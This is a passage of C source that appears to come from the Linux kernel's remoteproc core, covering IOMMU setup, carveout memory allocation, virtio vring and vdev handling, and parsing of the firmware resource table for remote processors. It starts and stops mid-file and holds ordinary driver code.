static DEFINE_MUTEX(rproc_list_mutex);
static LIST_HEAD(rproc_list);
static struct notifier_block rproc_panic_nb;
typedef int (*rproc_handle_resource_t)(struct rproc *rproc,
void *, int offset, int avail);
static int rproc_alloc_carveout(struct rproc *rproc,
struct rproc_mem_entry *mem);
static int rproc_release_carveout(struct rproc *rproc,
struct rproc_mem_entry *mem);
/* Unique indices for remoteproc devices */
static DEFINE_IDA(rproc_dev_index);
static const char * const rproc_crash_names[] = {
[RPROC_MMUFAULT] = "mmufault",
[RPROC_WATCHDOG] = "watchdog",
[RPROC_FATAL_ERROR] = "fatal error",
};
/* translate rproc_crash_type to string */
static const char *rproc_crash_to_string(enum rproc_crash_type type)
{
if (type < ARRAY_SIZE(rproc_crash_names))
return rproc_crash_names[type];
return "unknown";
}
/*
* This is the IOMMU fault handler we register with the IOMMU API
* (when relevant; not all remote processors access memory through
* an IOMMU).
*
* IOMMU core will invoke this handler whenever the remote processor
* will try to access an unmapped device address.
*/
static int rproc_iommu_fault(struct iommu_domain *domain, struct device *dev,
unsigned long iova, int flags, void *token)
{
struct rproc *rproc = token;
dev_err(dev, "iommu fault: da 0x%lx flags 0x%x\n", iova, flags);
rproc_report_crash(rproc, RPROC_MMUFAULT);
/*
* Let the iommu core know we're not really handling this fault;
* we just used it as a recovery trigger.
*/
return -ENOSYS;
}
static int rproc_enable_iommu(struct rproc *rproc)
{
struct iommu_domain *domain;
struct device *dev = rproc->dev.parent;
int ret;
if (!rproc->has_iommu) {
dev_dbg(dev, "iommu not present\n");
return 0;
}
domain = iommu_domain_alloc(dev->bus);
if (!domain) {
dev_err(dev, "can't alloc iommu domain\n");
return -ENOMEM;
}
iommu_set_fault_handler(domain, rproc_iommu_fault, rproc);
ret = iommu_attach_device(domain, dev);
if (ret) {
dev_err(dev, "can't attach iommu device: %d\n", ret);
goto free_domain;
}
rproc->domain = domain;
return 0;
free_domain:
iommu_domain_free(domain);
return ret;
}
static void rproc_disable_iommu(struct rproc *rproc)
{
struct iommu_domain *domain = rproc->domain;
struct device *dev = rproc->dev.parent;
if (!domain)
return;
iommu_detach_device(domain, dev);
iommu_domain_free(domain);
}
phys_addr_t rproc_va_to_pa(void *cpu_addr)
{
/*
* Return physical address according to virtual address location
* - in vmalloc: if region ioremapped or defined as dma_alloc_coherent
* - in kernel: if region allocated in generic dma memory pool
*/
if (is_vmalloc_addr(cpu_addr)) {
return page_to_phys(vmalloc_to_page(cpu_addr)) +
offset_in_page(cpu_addr);
}
WARN_ON(!virt_addr_valid(cpu_addr));
return virt_to_phys(cpu_addr);
}
EXPORT_SYMBOL(rproc_va_to_pa);
/**
* rproc_da_to_va() - lookup the kernel virtual address for a remoteproc address
* @rproc: handle of a remote processor
* @da: remoteproc device address to translate
* @len: length of the memory region @da is pointing to
* @is_iomem: optional pointer filled in to indicate if @da is iomapped memory
*
* Some remote processors will ask us to allocate them physically contiguous
* memory regions (which we call "carveouts"), and map them to specific
* device addresses (which are hardcoded in the firmware). They may also have
* dedicated memory regions internal to the processors, and use them either
* exclusively or alongside carveouts.
*
* They may then ask us to copy objects into specific device addresses (e.g.
* code/data sections) or expose us certain symbols in other device address
* (e.g. their trace buffer).
*
* This function is a helper function with which we can go over the allocated
* carveouts and translate specific device addresses to kernel virtual addresses
* so we can access the referenced memory. This function also allows to perform
* translations on the internal remoteproc memory regions through a platform
* implementation specific da_to_va ops, if present.
*
* Note: phys_to_virt(iommu_iova_to_phys(rproc->domain, da)) will work too,
* but only on kernel direct mapped RAM memory. Instead, we're just using
* here the output of the DMA API for the carveouts, which should be more
* correct.
*
* Return: a valid kernel address on success or NULL on failure
*/
void *rproc_da_to_va(struct rproc *rproc, u64 da, size_t len, bool *is_iomem)
{
struct rproc_mem_entry *carveout;
void *ptr = NULL;
if (rproc->ops->da_to_va) {
ptr = rproc->ops->da_to_va(rproc, da, len, is_iomem);
if (ptr)
goto out;
}
list_for_each_entry(carveout, &rproc->carveouts, node) {
int offset = da - carveout->da;
/* Verify that carveout is allocated */
if (!carveout->va)
continue;
/* try next carveout if da is too small */
if (offset < 0)
continue;
/* try next carveout if da is too large */
if (offset + len > carveout->len)
continue;
ptr = carveout->va + offset;
if (is_iomem)
*is_iomem = carveout->is_iomem;
break;
}
out:
return ptr;
}
EXPORT_SYMBOL(rproc_da_to_va);
/**
* rproc_find_carveout_by_name() - lookup the carveout region by a name
* @rproc: handle of a remote processor
* @name: carveout name to find (format string)
* @...: optional parameters matching @name string
*
* Platform driver has the capability to register some pre-allacoted carveout
* (physically contiguous memory regions) before rproc firmware loading and
* associated resource table analysis. These regions may be dedicated memory
* regions internal to the coprocessor or specified DDR region with specific
* attributes
*
* This function is a helper function with which we can go over the
* allocated carveouts and return associated region characteristics like
* coprocessor address, length or processor virtual address.
*
* Return: a valid pointer on carveout entry on success or NULL on failure.
*/
__printf(2, 3)
struct rproc_mem_entry *
rproc_find_carveout_by_name(struct rproc *rproc, const char *name, ...)
{
va_list args;
char _name[32];
struct rproc_mem_entry *carveout, *mem = NULL;
if (!name)
return NULL;
va_start(args, name);
vsnprintf(_name, sizeof(_name), name, args);
va_end(args);
list_for_each_entry(carveout, &rproc->carveouts, node) {
/* Compare carveout and requested names */
if (!strcmp(carveout->name, _name)) {
mem = carveout;
break;
}
}
return mem;
}
/**
* rproc_check_carveout_da() - Check specified carveout da configuration
* @rproc: handle of a remote processor
* @mem: pointer on carveout to check
* @da: area device address
* @len: associated area size
*
* This function is a helper function to verify requested device area (couple
* da, len) is part of specified carveout.
* If da is not set (defined as FW_RSC_ADDR_ANY), only requested length is
* checked.
*
* Return: 0 if carveout matches request else error
*/
static int rproc_check_carveout_da(struct rproc *rproc,
struct rproc_mem_entry *mem, u32 da, u32 len)
{
struct device *dev = &rproc->dev;
int delta;
/* Check requested resource length */
if (len > mem->len) {
dev_err(dev, "Registered carveout doesn't fit len request\n");
return -EINVAL;
}
if (da != FW_RSC_ADDR_ANY && mem->da == FW_RSC_ADDR_ANY) {
/* Address doesn't match registered carveout configuration */
return -EINVAL;
} else if (da != FW_RSC_ADDR_ANY && mem->da != FW_RSC_ADDR_ANY) {
delta = da - mem->da;
/* Check requested resource belongs to registered carveout */
if (delta < 0) {
dev_err(dev,
"Registered carveout doesn't fit da request\n");
return -EINVAL;
}
if (delta + len > mem->len) {
dev_err(dev,
"Registered carveout doesn't fit len request\n");
return -EINVAL;
}
}
return 0;
}
int rproc_alloc_vring(struct rproc_vdev *rvdev, int i)
{
struct rproc *rproc = rvdev->rproc;
struct device *dev = &rproc->dev;
struct rproc_vring *rvring = &rvdev->vring[i];
struct fw_rsc_vdev *rsc;
int ret, notifyid;
struct rproc_mem_entry *mem;
size_t size;
/* actual size of vring (in bytes) */
size = PAGE_ALIGN(vring_size(rvring->len, rvring->align));
rsc = (void *)rproc->table_ptr + rvdev->rsc_offset;
/* Search for pre-registered carveout */
mem = rproc_find_carveout_by_name(rproc, "vdev%dvring%d", rvdev->index,
i);
if (mem) {
if (rproc_check_carveout_da(rproc, mem, rsc->vring[i].da, size))
return -ENOMEM;
} else {
/* Register carveout in in list */
mem = rproc_mem_entry_init(dev, NULL, 0,
size, rsc->vring[i].da,
rproc_alloc_carveout,
rproc_release_carveout,
"vdev%dvring%d",
rvdev->index, i);
if (!mem) {
dev_err(dev, "Can't allocate memory entry structure\n");
return -ENOMEM;
}
rproc_add_carveout(rproc, mem);
}
/*
* Assign an rproc-wide unique index for this vring
* TODO: assign a notifyid for rvdev updates as well
* TODO: support predefined notifyids (via resource table)
*/
ret = idr_alloc(&rproc->notifyids, rvring, 0, 0, GFP_KERNEL);
if (ret < 0) {
dev_err(dev, "idr_alloc failed: %d\n", ret);
return ret;
}
notifyid = ret;
/* Potentially bump max_notifyid */
if (notifyid > rproc->max_notifyid)
rproc->max_notifyid = notifyid;
rvring->notifyid = notifyid;
/* Let the rproc know the notifyid of this vring.*/
rsc->vring[i].notifyid = notifyid;
return 0;
}
static int
rproc_parse_vring(struct rproc_vdev *rvdev, struct fw_rsc_vdev *rsc, int i)
{
struct rproc *rproc = rvdev->rproc;
struct device *dev = &rproc->dev;
struct fw_rsc_vdev_vring *vring = &rsc->vring[i];
struct rproc_vring *rvring = &rvdev->vring[i];
dev_dbg(dev, "vdev rsc: vring%d: da 0x%x, qsz %d, align %d\n",
i, vring->da, vring->num, vring->align);
/* verify queue size and vring alignment are sane */
if (!vring->num || !vring->align) {
dev_err(dev, "invalid qsz (%d) or alignment (%d)\n",
vring->num, vring->align);
return -EINVAL;
}
rvring->len = vring->num;
rvring->align = vring->align;
rvring->rvdev = rvdev;
return 0;
}
void rproc_free_vring(struct rproc_vring *rvring)
{
struct rproc *rproc = rvring->rvdev->rproc;
int idx = rvring - rvring->rvdev->vring;
struct fw_rsc_vdev *rsc;
idr_remove(&rproc->notifyids, rvring->notifyid);
/*
* At this point rproc_stop() has been called and the installed resource
* table in the remote processor memory may no longer be accessible. As
* such and as per rproc_stop(), rproc->table_ptr points to the cached
* resource table (rproc->cached_table). The cached resource table is
* only available when a remote processor has been booted by the
* remoteproc core, otherwise it is NULL.
*
* Based on the above, reset the virtio device section in the cached
* resource table only if there is one to work with.
*/
if (rproc->table_ptr) {
rsc = (void *)rproc->table_ptr + rvring->rvdev->rsc_offset;
rsc->vring[idx].da = 0;
rsc->vring[idx].notifyid = -1;
}
}
static int rproc_vdev_do_start(struct rproc_subdev *subdev)
{
struct rproc_vdev *rvdev = container_of(subdev, struct rproc_vdev, subdev);
return rproc_add_virtio_dev(rvdev, rvdev->id);
}
static void rproc_vdev_do_stop(struct rproc_subdev *subdev, bool crashed)
{
struct rproc_vdev *rvdev = container_of(subdev, struct rproc_vdev, subdev);
int ret;
ret = device_for_each_child(&rvdev->dev, NULL, rproc_remove_virtio_dev);
if (ret)
dev_warn(&rvdev->dev, "can't remove vdev child device: %d\n", ret);
}
/**
* rproc_rvdev_release() - release the existence of a rvdev
*
* @dev: the subdevice's dev
*/
static void rproc_rvdev_release(struct device *dev)
{
struct rproc_vdev *rvdev = container_of(dev, struct rproc_vdev, dev);
of_reserved_mem_device_release(dev);
kfree(rvdev);
}
static int copy_dma_range_map(struct device *to, struct device *from)
{
const struct bus_dma_region *map = from->dma_range_map, *new_map, *r;
int num_ranges = 0;
if (!map)
return 0;
for (r = map; r->size; r++)
num_ranges++;
new_map = kmemdup(map, array_size(num_ranges + 1, sizeof(*map)),
GFP_KERNEL);
if (!new_map)
return -ENOMEM;
to->dma_range_map = new_map;
return 0;
}
/**
* rproc_handle_vdev() - handle a vdev fw resource
* @rproc: the remote processor
* @ptr: the vring resource descriptor
* @offset: offset of the resource entry
* @avail: size of available data (for sanity checking the image)
*
* This resource entry requests the host to statically register a virtio
* device (vdev), and setup everything needed to support it. It contains
* everything needed to make it possible: the virtio device id, virtio
* device features, vrings information, virtio config space, etc...
*
* Before registering the vdev, the vrings are allocated from non-cacheable
* physically contiguous memory. Currently we only support two vrings per
* remote processor (temporary limitation). We might also want to consider
* doing the vring allocation only later when ->find_vqs() is invoked, and
* then release them upon ->del_vqs().
*
* Note: @da is currently not really handled correctly: we dynamically
* allocate it using the DMA API, ignoring requested hard coded addresses,
* and we don't take care of any required IOMMU programming. This is all
* going to be taken care of when the generic iommu-based DMA API will be
* merged. Meanwhile, statically-addressed iommu-based firmware images should
* use RSC_DEVMEM resource entries to map their required @da to the physical
* address of their base CMA region (ouch, hacky!).
*
* Return: 0 on success, or an appropriate error code otherwise
*/
static int rproc_handle_vdev(struct rproc *rproc, void *ptr,
int offset, int avail)
{
struct fw_rsc_vdev *rsc = ptr;
struct device *dev = &rproc->dev;
struct rproc_vdev *rvdev;
int i, ret;
char name[16];
/* make sure resource isn't truncated */
if (struct_size(rsc, vring, rsc->num_of_vrings) + rsc->config_len >
avail) {
dev_err(dev, "vdev rsc is truncated\n");
return -EINVAL;
}
/* make sure reserved bytes are zeroes */
if (rsc->reserved[0] || rsc->reserved[1]) {
dev_err(dev, "vdev rsc has non zero reserved bytes\n");
return -EINVAL;
}
dev_dbg(dev, "vdev rsc: id %d, dfeatures 0x%x, cfg len %d, %d vrings\n",
rsc->id, rsc->dfeatures, rsc->config_len, rsc->num_of_vrings);
/* we currently support only two vrings per rvdev */
if (rsc->num_of_vrings > ARRAY_SIZE(rvdev->vring)) {
dev_err(dev, "too many vrings: %d\n", rsc->num_of_vrings);
return -EINVAL;
}
rvdev = kzalloc(sizeof(*rvdev), GFP_KERNEL);
if (!rvdev)
return -ENOMEM;
kref_init(&rvdev->refcount);
rvdev->id = rsc->id;
rvdev->rproc = rproc;
rvdev->index = rproc->nb_vdev++;
/* Initialise vdev subdevice */
snprintf(name, sizeof(name), "vdev%dbuffer", rvdev->index);
rvdev->dev.parent = &rproc->dev;
ret = copy_dma_range_map(&rvdev->dev, rproc->dev.parent);
if (ret)
return ret;
rvdev->dev.release = rproc_rvdev_release;
dev_set_name(&rvdev->dev, "%s#%s", dev_name(rvdev->dev.parent), name);
dev_set_drvdata(&rvdev->dev, rvdev);
ret = device_register(&rvdev->dev);
if (ret) {
put_device(&rvdev->dev);
return ret;
}
/* Make device dma capable by inheriting from parent's capabilities */
set_dma_ops(&rvdev->dev, get_dma_ops(rproc->dev.parent));
ret = dma_coerce_mask_and_coherent(&rvdev->dev,
dma_get_mask(rproc->dev.parent));
if (ret) {
dev_warn(dev,
"Failed to set DMA mask %llx. Trying to continue... %x\n",
dma_get_mask(rproc->dev.parent), ret);
}
/* parse the vrings */
for (i = 0; i < rsc->num_of_vrings; i++) {
ret = rproc_parse_vring(rvdev, rsc, i);
if (ret)
goto free_rvdev;
}
/* remember the resource offset*/
rvdev->rsc_offset = offset;
/* allocate the vring resources */
for (i = 0; i < rsc->num_of_vrings; i++) {
ret = rproc_alloc_vring(rvdev, i);
if (ret)
goto unwind_vring_allocations;
}
list_add_tail(&rvdev->node, &rproc->rvdevs);
rvdev->subdev.start = rproc_vdev_do_start;
rvdev->subdev.stop = rproc_vdev_do_stop;
rproc_add_subdev(rproc, &rvdev->subdev);
return 0;
unwind_vring_allocations:
for (i--; i >= 0; i--)
rproc_free_vring(&rvdev->vring[i]);
free_rvdev:
device_unregister(&rvdev->dev);
return ret;
}
void rproc_vdev_release(struct kref *ref)
{
struct rproc_vdev *rvdev = container_of(ref, struct rproc_vdev, refcount);
struct rproc_vring *rvring;
struct rproc *rproc = rvdev->rproc;
int id;
for (id = 0; id < ARRAY_SIZE(rvdev->vring); id++) {
rvring = &rvdev->vring[id];
rproc_free_vring(rvring);
}
rproc_remove_subdev(rproc, &rvdev->subdev);
list_del(&rvdev->node);
device_unregister(&rvdev->dev);
}
/**
* rproc_handle_trace() - handle a shared trace buffer resource
* @rproc: the remote processor
* @ptr: the trace resource descriptor
* @offset: offset of the resource entry
* @avail: size of available data (for sanity checking the image)
*
* In case the remote processor dumps trace logs into memory,
* export it via debugfs.
*
* Currently, the 'da' member of @rsc should contain the device address
* where the remote processor is dumping the traces. Later we could also
* support dynamically allocating this address using the generic
* DMA API (but currently there isn't a use case for that).
*
* Return: 0 on success, or an appropriate error code otherwise
*/
static int rproc_handle_trace(struct rproc *rproc, void *ptr,
int offset, int avail)
{
struct fw_rsc_trace *rsc = ptr;
struct rproc_debug_trace *trace;
struct device *dev = &rproc->dev;
char name[15];
if (sizeof(*rsc) > avail) {
dev_err(dev, "trace rsc is truncated\n");
return -EINVAL;
}
/* make sure reserved bytes are zeroes */
if (rsc->reserved) {
dev_err(dev, "trace rsc has non zero reserved bytes\n");
return -EINVAL;
}
trace = kzalloc(sizeof(*trace), GFP_KERNEL);
if (!trace)
return -ENOMEM;
/* set the trace buffer dma properties */
trace->trace_mem.len = rsc->len;
trace->trace_mem.da = rsc->da;
/* set pointer on rproc device */
trace->rproc = rproc;
/* make sure snprintf always null terminates, even if truncating */
snprintf(name, sizeof(name), "trace%d", rproc->num_traces);
/* create the debugfs entry */
trace->tfile = rproc_create_trace_file(name, rproc, trace);
if (!trace->tfile) {
kfree(trace);
return -EINVAL;
}
list_add_tail(&trace->node, &rproc->traces);
rproc->num_traces++;
dev_dbg(dev, "%s added: da 0x%x, len 0x%x\n",
name, rsc->da, rsc->len);
return 0;
}
/**
* rproc_handle_devmem() - handle devmem resource entry
* @rproc: remote processor handle
* @ptr: the devmem resource entry
* @offset: offset of the resource entry
* @avail: size of available data (for sanity checking the image)
*
* Remote processors commonly need to access certain on-chip peripherals.
*
* Some of these remote processors access memory via an iommu device,
* and might require us to configure their iommu before they can access
* the on-chip peripherals they need.
*
* This resource entry is a request to map such a peripheral device.
*
* These devmem entries will contain the physical address of the device in
* the 'pa' member. If a specific device address is expected, then 'da' will
* contain it (currently this is the only use case supported). 'len' will
* contain the size of the physical region we need to map.
*
* Currently we just "trust" those devmem entries to contain valid physical
* addresses, but this is going to change: we want the implementations to
* tell us ranges of physical addresses the firmware is allowed to request,
* and not allow firmwares to request access to physical addresses that
* are outside those ranges.
*
* Return: 0 on success, or an appropriate error code otherwise
*/
static int rproc_handle_devmem(struct rproc *rproc, void *ptr,
int offset, int avail)
{
struct fw_rsc_devmem *rsc = ptr;
struct rproc_mem_entry *mapping;
struct device *dev = &rproc->dev;
int ret;
/* no point in handling this resource without a valid iommu domain */
if (!rproc->domain)
return -EINVAL;
if (sizeof(*rsc) > avail) {
dev_err(dev, "devmem rsc is truncated\n");
return -EINVAL;
}
/* make sure reserved bytes are zeroes */
if (rsc->reserved) {
dev_err(dev, "devmem rsc has non zero reserved bytes\n");
return -EINVAL;
}
mapping = kzalloc(sizeof(*mapping), GFP_KERNEL);
if (!mapping)
return -ENOMEM;
ret = iommu_map(rproc->domain, rsc->da, rsc->pa, rsc->len, rsc->flags);
if (ret) {
dev_err(dev, "failed to map devmem: %d\n", ret);
goto out;
}
/*
* We'll need this info later when we'll want to unmap everything
* (e.g. on shutdown).
*
* We can't trust the remote processor not to change the resource
* table, so we must maintain this info independently.
*/
mapping->da = rsc->da;
mapping->len = rsc->len;
list_add_tail(&mapping->node, &rproc->mappings);
dev_dbg(dev, "mapped devmem pa 0x%x, da 0x%x, len 0x%x\n",
rsc->pa, rsc->da, rsc->len);
return 0;
out:
kfree(mapping);
return ret;
}
/**
* rproc_alloc_carveout() - allocated specified carveout
* @rproc: rproc handle
* @mem: the memory entry to allocate
*
* This function allocate specified memory entry @mem using
* dma_alloc_coherent() as default allocator
*
* Return: 0 on success, or an appropriate error code otherwise
*/
static int rproc_alloc_carveout(struct rproc *rproc,
struct rproc_mem_entry *mem)
{
struct rproc_mem_entry *mapping = NULL;
struct device *dev = &rproc->dev;
dma_addr_t dma;
void *va;
int ret;
va = dma_alloc_coherent(dev->parent, mem->len, &dma, GFP_KERNEL);
if (!va) {
dev_err(dev->parent,
"failed to allocate dma memory: len 0x%zx\n",
mem->len);
return -ENOMEM;
}
dev_dbg(dev, "carveout va %pK, dma %pad, len 0x%zx\n",
va, &dma, mem->len);
if (mem->da != FW_RSC_ADDR_ANY && !rproc->domain) {
/*
* Check requested da is equal to dma address
* and print a warn message in case of missalignment.
* Don't stop rproc_start sequence as coprocessor may
* build pa to da translation on its side.
*/
if (mem->da != (u32)dma)
dev_warn(dev->parent,
"Allocated carveout doesn't fit device address request\n");
}
/*
* Ok, this is non-standard.
*
* Sometimes we can't rely on the generic iommu-based DMA API
* to dynamically allocate the device address and then set the IOMMU
* tables accordingly, because some remote processors might
* _require_ us to use hard coded device addresses that their
* firmware was compiled with.
*
* In this case, we must use the IOMMU API directly and map
* the memory to the device address as expected by the remote
* processor.
*
* Obviously such remote processor devices should not be configured
* to use the iommu-based DMA API: we expect 'dma' to contain the
* physical address in this case.
*/
if (mem->da != FW_RSC_ADDR_ANY && rproc->domain) {
mapping = kzalloc(sizeof(*mapping), GFP_KERNEL);
if (!mapping) {
ret = -ENOMEM;
goto dma_free;
}
ret = iommu_map(rproc->domain, mem->da, dma, mem->len,
mem->flags);
if (ret) {
dev_err(dev, "iommu_map failed: %d\n", ret);
goto free_mapping;
}
/*
* We'll need this info later when we'll want to unmap
* everything (e.g. on shutdown).
*
* We can't trust the remote processor not to change the
* resource table, so we must maintain this info independently.
*/
mapping->da = mem->da;
mapping->len = mem->len;
list_add_tail(&mapping->node, &rproc->mappings);
dev_dbg(dev, "carveout mapped 0x%x to %pad\n",
mem->da, &dma);
}
if (mem->da == FW_RSC_ADDR_ANY) {
/* Update device address as undefined by requester */
if ((u64)dma & HIGH_BITS_MASK)
dev_warn(dev, "DMA address cast in 32bit to fit resource table format\n");
mem->da = (u32)dma;
}
mem->dma = dma;
mem->va = va;
return 0;
free_mapping:
kfree(mapping);
dma_free:
dma_free_coherent(dev->parent, mem->len, va, dma);
return ret;
}
/**
* rproc_release_carveout() - release acquired carveout
* @rproc: rproc handle
* @mem: the memory entry to release
*
* This function releases specified memory entry @mem allocated via
* rproc_alloc_carveout() function by @rproc.
*
* Return: 0 on success, or an appropriate error code otherwise
*/
static int rproc_release_carveout(struct rproc *rproc,
struct rproc_mem_entry *mem)
{
struct device *dev = &rproc->dev;
/* clean up carveout allocations */
dma_free_coherent(dev->parent, mem->len, mem->va, mem->dma);
return 0;
}
/**
* rproc_handle_carveout() - handle phys contig memory allocation requests
* @rproc: rproc handle
* @ptr: the resource entry
* @offset: offset of the resource entry
* @avail: size of available data (for image validation)
*
* This function will handle firmware requests for allocation of physically
* contiguous memory regions.
*
* These request entries should come first in the firmware's resource table,
* as other firmware entries might request placing other data objects inside
* these memory regions (e.g. data/code segments, trace resource entries, ...).
*
* Allocating memory this way helps utilizing the reserved physical memory
* (e.g. CMA) more efficiently, and also minimizes the number of TLB entries
* needed to map it (in case @rproc is using an IOMMU). Reducing the TLB
* pressure is important; it may have a substantial impact on performance.
*
* Return: 0 on success, or an appropriate error code otherwise
*/
static int rproc_handle_carveout(struct rproc *rproc,
void *ptr, int offset, int avail)
{
struct fw_rsc_carveout *rsc = ptr;
struct rproc_mem_entry *carveout;
struct device *dev = &rproc->dev;
if (sizeof(*rsc) > avail) {
dev_err(dev, "carveout rsc is truncated\n");
return -EINVAL;
}
/* make sure reserved bytes are zeroes */
if (rsc->reserved) {
dev_err(dev, "carveout rsc has non zero reserved bytes\n");
return -EINVAL;
}
dev_dbg(dev, "carveout rsc: name: %s, da 0x%x, pa 0x%x, len 0x%x, flags 0x%x\n",
rsc->name, rsc->da, rsc->pa, rsc->len, rsc->flags);
/*
* Check carveout rsc already part of a registered carveout,
* Search by name, then check the da and length
*/
carveout = rproc_find_carveout_by_name(rproc, rsc->name);
if (carveout) {
if (carveout->rsc_offset != FW_RSC_ADDR_ANY) {
dev_err(dev,
"Carveout already associated to resource table\n");
return -ENOMEM;
}
if (rproc_check_carveout_da(rproc, carveout, rsc->da, rsc->len))
return -ENOMEM;
/* Update memory carveout with resource table info */
carveout->rsc_offset = offset;
carveout->flags = rsc->flags;
return 0;
}
/* Register carveout in in list */
carveout = rproc_mem_entry_init(dev, NULL, 0, rsc->len, rsc->da,
rproc_alloc_carveout,
rproc_release_carveout, rsc->name);
if (!carveout) {
dev_err(dev, "Can't allocate memory entry structure\n");
return -ENOMEM;
}
carveout->flags = rsc->flags;
carveout->rsc_offset = offset;
rproc_add_carveout(rproc, carveout);
return 0;
}
/**
* rproc_add_carveout() - register an allocated carveout region
* @rproc: rproc handle
* @mem: memory entry to register
*
* This function registers specified memory entry in @rproc carveouts list.
* Specified carveout should have been allocated before registering.
*/
void rproc_add_carveout(struct rproc *rproc, struct rproc_mem_entry *mem)
{
list_add_tail(&mem->node, &rproc->carveouts);
}
EXPORT_SYMBOL(rproc_add_carveout);
/**
* rproc_mem_entry_init() - allocate and initialize rproc_mem_entry struct
* @dev: pointer on device struct
* @va: virtual address
* @dma: dma address
* @len: memory carveout length
* @da: device address
* @alloc: memory carveout allocation function
* @release: memory carveout release function
* @name: carveout name
*
* This function allocates a rproc_mem_entry struct and fill it with parameters
* provided by client.
*
* Return: a valid pointer on success, or NULL on failure
*/
__printf(8, 9)
struct rproc_mem_entry *
rproc_mem_entry_init(struct device *dev,
void *va, dma_addr_t dma, size_t len, u32 da,
int (*alloc)(struct rproc *, struct rproc_mem_entry *),
int (*release)(struct rproc *, struct rproc_mem_entry *),
const char *name, ...)
{
struct rproc_mem_entry *mem;
va_list args;
mem = kzalloc(sizeof(*mem), GFP_KERNEL);
if (!mem)
return mem;
mem->va = va;
mem->dma = dma;
mem->da = da;
mem->len = len;
mem->alloc = alloc;
mem->release = release;
mem->rsc_offset = FW_RSC_ADDR_ANY;
mem->of_resm_idx = -1;
va_start(args, name);
vsnprintf(mem->name, sizeof(mem->name), name, args);
va_end(args);
return mem;
}
EXPORT_SYMBOL(rproc_mem_entry_init);
/**
* rproc_of_resm_mem_entry_init() - allocate and initialize rproc_mem_entry struct
* from a reserved memory phandle
* @dev: pointer on device struct
* @of_resm_idx: reserved memory phandle index in "memory-region"
* @len: memory carveout length
* @da: device address
* @name: carveout name
*
* This function allocates a rproc_mem_entry struct and fill it with parameters
* provided by client.
*
* Return: a valid pointer on success, or NULL on failure
*/
__printf(5, 6)
struct rproc_mem_entry *
rproc_of_resm_mem_entry_init(struct device *dev, u32 of_resm_idx, size_t len,
u32 da, const char *name, ...)
{
struct rproc_mem_entry *mem;
va_list args;
mem = kzalloc(sizeof(*mem), GFP_KERNEL);
if (!mem)
return mem;
mem->da = da;
mem->len = len;
mem->rsc_offset = FW_RSC_ADDR_ANY;
mem->of_resm_idx = of_resm_idx;
va_start(args, name);
vsnprintf(mem->name, sizeof(mem->name), name, args);
va_end(args);
return mem;
}
EXPORT_SYMBOL(rproc_of_resm_mem_entry_init);
/**
* rproc_of_parse_firmware() - parse and return the firmware-name
* @dev: pointer on device struct representing a rproc
* @index: index to use for the firmware-name retrieval
* @fw_name: pointer to a character string, in which the firmware
* name is returned on success and unmodified otherwise.
*
* This is an OF helper function that parses a device's DT node for
* the "firmware-name" property and returns the firmware name pointer
* in @fw_name on success.
*
* Return: 0 on success, or an appropriate failure.
*/
int rproc_of_parse_firmware(struct device *dev, int index, const char **fw_name)
{
int ret;
ret = of_property_read_string_index(dev->of_node, "firmware-name",
index, fw_name);
return ret ? ret : 0;
}
EXPORT_SYMBOL(rproc_of_parse_firmware);
/*
* A lookup table for resource handlers. The indices are defined in
* enum fw_resource_type.
*/
static rproc_handle_resource_t rproc_loading_handlers[RSC_LAST] = {
[RSC_CARVEOUT] = rproc_handle_carveout,
[RSC_DEVMEM] = rproc_handle_devmem,
[RSC_TRACE] = rproc_handle_trace,
[RSC_VDEV] = rproc_handle_vdev,
};
/* handle firmware resource entries before booting the remote processor */
static int rproc_handle_resources(struct rproc *rproc,
rproc_handle_resource_t handlers[RSC_LAST])
{
struct device *dev = &rproc->dev;
rproc_handle_resource_t handler;
int ret = 0, i;
if (!rproc->table_ptr)
return 0;
for (i = 0; i < rproc->table_ptr->num; i++) {
int offset = rproc->table_ptr->offset[i];
struct fw_rsc_hdr *hdr = (void *)rproc->table_ptr + offset;
int avail = rproc->table_sz - offset - sizeof(*hdr);
void *rsc = (void *)hdr + sizeof(*hdr);
/* make sure table isn't truncated */
if (avail < 0) {
dev_err(dev, "rsc table is truncated\n");
return -EINVAL;
}
dev_dbg(dev, "rsc: type %d\n", hdr->type);
if (hdr->type >= RSC_VENDOR_START &&
hdr->type <= RSC_VENDOR_END) {
ret = rproc_handle_rsc(rproc, hdr->type, rsc,
offset + sizeof(*hdr), avail);
if (ret == RSC_HANDLED)
continue;
else if (ret < 0)
break;
dev_warn(dev, "unsupported vendor resource %d\n",
hdr->type);
continue;
}
if (hdr->type >= RSC_LAST) {
dev_warn(dev, "unsupported resource %d\n", hdr->type);
continue;
}
handler = handlers[hdr->type];
if (!handler)
continue;
ret = handler(rproc, rsc, offset + sizeof(*hdr), avail);
if (ret)
break;
}
return ret;
}
static int rproc_prepare_subdevices(struct rproc *rproc)
{
struct rproc_subdev *subdev;
int ret;
list_for_each_entry(subdev, &rproc->subdevs, node) {
if (subdev->prepare) {
ret = subdev->prepare(subdev);
if (ret)
goto unroll_preparation;
}
}
return 0;
unroll_preparation:
list_for_each_entry_continue_reverse(subdev, &rproc->subdevs, node) {
if (subdev->unprepare)
subdev->unprepare(subdev);
}
return ret;
}
static int rproc_start_subdevices(struct rproc *rproc)
{
struct rproc_subdev *subdev;
int ret;
list_for_each_entry(subdev, &rproc->subdevs, node) {
if (subdev->start) {
ret = subdev->start(subdev);
if (ret)
goto unroll_registration;
}
}
return 0;
unroll_registration:
list_for_each_entry_continue_reverse(subdev, &rproc->subdevs, node) {
if (subdev->stop)
subdev->stop(subdev, true);
}
return ret;
}
static void rproc_stop_subdevices(struct rproc *rproc, bool crashed)
{
struct rproc_subdev *subdev;
list_for_each_entry_reverse(subdev, &rproc->subdevs, node) {
if (subdev->stop)
subdev->stop(subdev, crashed);
}
}
static void rproc_unprepare_subdevices(struct rproc *rproc)
{
struct rproc_subdev *subdev;
list_for_each_entry_reverse(subdev, &rproc->subdevs, node) {
if (subdev->unprepare)
subdev->unprepare(subdev);
}
}
/**
* rproc_alloc_registered_carveouts() - allocate all carveouts registered
* in the list
* @rproc: the remote processor handle
*
* This function parses registered carveout list, performs allocation
* if alloc() ops registered and updates resource table information
* if rsc_offset set.
*
* Return: 0 on success
*/
static int rproc_alloc_registered_carveouts(struct rproc *rproc)
{
struct rproc_mem_entry *entry, *tmp;
struct fw_rsc_carveout *rsc;
struct device *dev = &rproc->dev;
u64 pa;
int ret;
list_for_each_entry_safe(entry, tmp, &rproc->carveouts, node) {
if (entry->alloc) {
ret = entry->alloc(rproc, entry);
if (ret) {
dev_err(dev, "Unable to allocate carveout %s: %d\n",
entry->name, ret);
return -ENOMEM;
}
}
